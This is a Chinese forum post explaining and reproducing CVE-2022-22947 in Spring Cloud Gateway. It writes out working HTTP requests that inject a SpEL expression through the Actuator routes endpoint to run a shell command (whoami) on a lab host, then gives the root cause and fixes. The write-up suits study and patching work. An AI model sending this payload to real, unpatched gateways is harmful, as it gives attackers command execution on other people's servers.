Spring Cloud Gateway RCE

打印 上一主题 下一主题

主题 867|帖子 867|积分 2601

Spring Cloud Gateway RCE


目录

一、基本介绍

CVE编号:CVE-2022-22947
​Spring Cloud Gateway是Spring中的一个API网关。其3.1.0及3.0.6版本(包含)以前存在一处SpEL表达式注入漏洞,当攻击者可以访问Actuator API的情况下,将可以利用该漏洞执行任意命令。
Spring Cloud Gateway:
是Spring Cloud微服务的一个网关组件。
1、路由(Route)
2、断言(Predicate)
3、过滤器(Filter)
Spring Boot Actuator:
是Spring Boot框架中的一个监控组件。
Gateway配置可以使用两种方式:
1、通过yml或者properties固定配置
2、通过actuator接口动态配置
Actuator操作Gateway接口列表:
idHTTP Method描述globalfiltersGET返回全局Filter列表routefiltersGET每个路由的FilterroutesGET路由列表routes/[id]GET指定路由的信息routes/[id]POST创建路由refreshPOST刷新路由缓存routes/[id]DELETE删除路由二、漏洞复现

版本要求:
Spring Cloud Gateway 3.1.x < 3.1.1
Spring Cloud Gateway 3.0.x < 3.0.7
过程:
1、启动Spring Cloud Gateway服务
2、添加过滤器(POST)
  1. POST /actuator/gateway/routes/hacker HTTP/1.1
  2. Host: 192.168.142.133:8080
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
  5. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  6. Accept-Encoding: gzip, deflate
  7. Connection: close
  8. Upgrade-Insecure-Requests: 1
  9. Content-Length: 331
  10. Content-Type: application/json
  11. {
  12.   "id": "hacker",
  13.   "filters": [{
  14.     "name": "AddResponseHeader",
  15.     "args": {
  16.       "name": "Result",
  17.       "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{"whoami"}).getInputStream()))}"
  18.     }
  19.   }],
  20.   "uri": "http://example.com"
  21. }
复制代码
3、刷新过滤器(POST)
  1. POST /actuator/gateway/refresh HTTP/1.1
  2. Host: 192.168.142.133:8080
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
  5. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  6. Accept-Encoding: gzip, deflate
  7. Connection: close
  8. Upgrade-Insecure-Requests: 1
复制代码
4、访问过滤器ID(GET)
  1. http://192.168.142.133:8080/actuator/gateway/routes/hacker
复制代码
Result中有命令执行返回的信息。
三、原理分析

1、开启Acutator,可以通过接口列出路由(包括过滤器),如:actuator/gateway/routes
2、可以通过/actuator/gateway/routes/{id}创建路由
3、通过/actuator/gateway/reflesh刷新路由
4、当路由带有恶意的Filter,里面的spEL表达式会被执行
个人理解:
Spring Cloud GatewayRCE漏洞主要是使用了Actuator接口对Gateway动态配置,而且Actuator接口可以被其他人访问,可以创建Gateway中的路由规则,攻击者对Filter中写入恶意spEL表达式,服务器会去解析spEL表达式,造成命令执行。
四、修复方法

1、更新升级Spring Cloud Gateway版本
2、在不考虑影响业务的情况下禁用actuator接口
management.endpoint.gateway.enable=false

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

罪恶克星

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表